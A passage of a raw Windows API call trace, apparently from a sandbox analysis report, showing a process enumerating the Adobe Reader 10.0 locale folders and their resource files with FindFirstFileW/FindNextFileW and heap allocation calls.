lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d47040, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weblink.PTB", cAlternateFileName="")) returned 0 [0221.954] FindClose (in: hFindFile=0x639808 | out: hFindFile=0x639808) returned 1 [0221.954] GetProcessHeap () returned 0x550000 [0221.954] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0221.954] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro_RO", cAlternateFileName="")) returned 1 [0221.954] GetProcessHeap () returned 0x550000 [0221.954] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25e0088 [0221.954] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639808 [0221.976] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0221.976] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db73c00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Accessibility.RUM", cAlternateFileName="ACCESS~1.RUM")) returned 1 [0221.976] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x831716c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6a800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acroform.RUM", cAlternateFileName="")) returned 1 [0221.977] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d0fa60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeCollabSync.RUM", cAlternateFileName="ADOBEC~1.RUM")) returned 1 [0221.977] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7ca00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Annots.RUM", cAlternateFileName="")) returned 1 [0221.977] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8207ba00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3800, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRdlang32.RUM", cAlternateFileName="BRDLAN~1.RUM")) returned 1 [0221.977] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x831716c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1fa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Checkers.RUM", cAlternateFileName="")) returned 1 [0221.977] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83197820, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x20200, dwReserved0=0x0, dwReserved1=0x0, cFileName="DigSig.RUM", cAlternateFileName="")) returned 1 [0221.977] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83197820, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVA.RUM", cAlternateFileName="")) returned 1 [0221.977] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8327c060, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="eBook.RUM", cAlternateFileName="")) returned 1 [0221.977] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83197820, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa400, dwReserved0=0x0, dwReserved1=0x0, cFileName="EScript.RUM", cAlternateFileName="")) returned 1 [0221.977] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83197820, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IA32.RUM", cAlternateFileName="")) returned 1 [0221.978] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db4daa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MakeAccessible.RUM", cAlternateFileName="MAKEAC~1.RUM")) returned 1 [0221.978] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d7bb9a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Multimedia.RUM", cAlternateFileName="MULTIM~1.RUM")) returned 1 [0221.978] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db27940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDDom.RUM", cAlternateFileName="")) returned 1 [0221.978] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83197820, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x82600, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPKLITE.RUM", cAlternateFileName="")) returned 1 [0221.978] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x807a3460, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x154600, dwReserved0=0x0, dwReserved1=0x0, cFileName="RdLang32.RUM", cAlternateFileName="")) returned 1 [0221.978] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8327c060, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadOutLoud.RUM", cAlternateFileName="READOU~1.RUM")) returned 1 [0221.978] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db017e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reflow.RUM", cAlternateFileName="")) returned 1 [0221.978] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dadb680, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="SaveAsRTF.RUM", cAlternateFileName="SAVEAS~1.RUM")) returned 1 [0221.978] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83197820, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Search.RUM", cAlternateFileName="")) returned 1 [0221.978] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83197820, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendMail.RUM", cAlternateFileName="")) returned 1 [0221.978] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0221.978] GetProcessHeap () returned 0x550000 [0221.978] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26100a0 [0221.978] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\Services\\*", lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639908 [0221.979] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0221.979] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x93a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0221.979] FindClose (in: hFindFile=0x639908 | out: hFindFile=0x639908) returned 1 [0221.980] GetProcessHeap () returned 0x550000 [0221.980] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26100a0 | out: hHeap=0x550000) returned 1 [0221.980] FindClose (in: hFindFile=0x639808 | out: hFindFile=0x639808) returned 1 [0221.980] GetProcessHeap () returned 0x550000 [0221.980] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0221.980] GetProcessHeap () returned 0x550000 [0221.980] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25e0088 [0221.980] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639808 [0222.836] GetProcessHeap () returned 0x550000 [0222.836] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26100a0 [0222.836] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\Services\\*", lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639908 [0223.423] FindClose (in: hFindFile=0x639908 | out: hFindFile=0x639908) returned 1 [0223.424] GetProcessHeap () returned 0x550000 [0223.424] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26100a0 | out: hHeap=0x550000) returned 1 [0223.430] FindClose (in: hFindFile=0x639808 | out: hFindFile=0x639808) returned 1 [0223.430] GetProcessHeap () returned 0x550000 [0223.430] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0223.430] GetProcessHeap () returned 0x550000 [0223.430] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25e0088 [0223.430] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639808 [0223.846] GetProcessHeap () returned 0x550000 [0223.846] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26100a0 [0223.846] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\Services\\*", lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639908 [0223.846] FindClose (in: hFindFile=0x639908 | out: hFindFile=0x639908) returned 1 [0223.847] GetProcessHeap () returned 0x550000 [0223.847] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26100a0 | out: hHeap=0x550000) returned 1 [0223.847] FindClose (in: hFindFile=0x639808 | out: hFindFile=0x639808) returned 1 [0223.847] GetProcessHeap () returned 0x550000 [0223.847] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0223.847] GetProcessHeap () returned 0x550000 [0223.847] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25e0088 [0223.847] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832a21c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832a21c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639808 [0223.910] GetProcessHeap () returned 0x550000 [0223.910] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26100a0 [0223.911] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\Services\\*", lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639908 [0223.916] FindClose (in: hFindFile=0x639908 | out: hFindFile=0x639908) returned 1 [0223.917] GetProcessHeap () returned 0x550000 [0223.917] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26100a0 | out: hHeap=0x550000) returned 1 [0223.917] FindClose (in: hFindFile=0x639808 | out: hFindFile=0x639808) returned 1 [0223.917] GetProcessHeap () returned 0x550000 [0223.917] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0223.917] GetProcessHeap () returned 0x550000 [0223.917] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25e0088 [0223.917] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ec3e00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639808 [0223.967] GetProcessHeap () returned 0x550000 [0223.968] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26100a0 [0223.968] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\Services\\*", lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639908 [0223.968] FindClose (in: hFindFile=0x639908 | out: hFindFile=0x639908) returned 1 [0223.968] GetProcessHeap () returned 0x550000 [0223.968] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26100a0 | out: hHeap=0x550000) returned 1 [0223.968] FindClose (in: hFindFile=0x639808 | out: hFindFile=0x639808) returned 1 [0223.968] GetProcessHeap () returned 0x550000 [0223.968] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0223.968] GetProcessHeap () returned 0x550000 [0223.968] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25e0088 [0223.969] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d795840, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832a21c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832a21c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639808 [0223.981] GetProcessHeap () returned 0x550000 [0223.981] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26100a0 [0223.981] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\Services\\*", lpFindFileData=0x2cee378 | out: 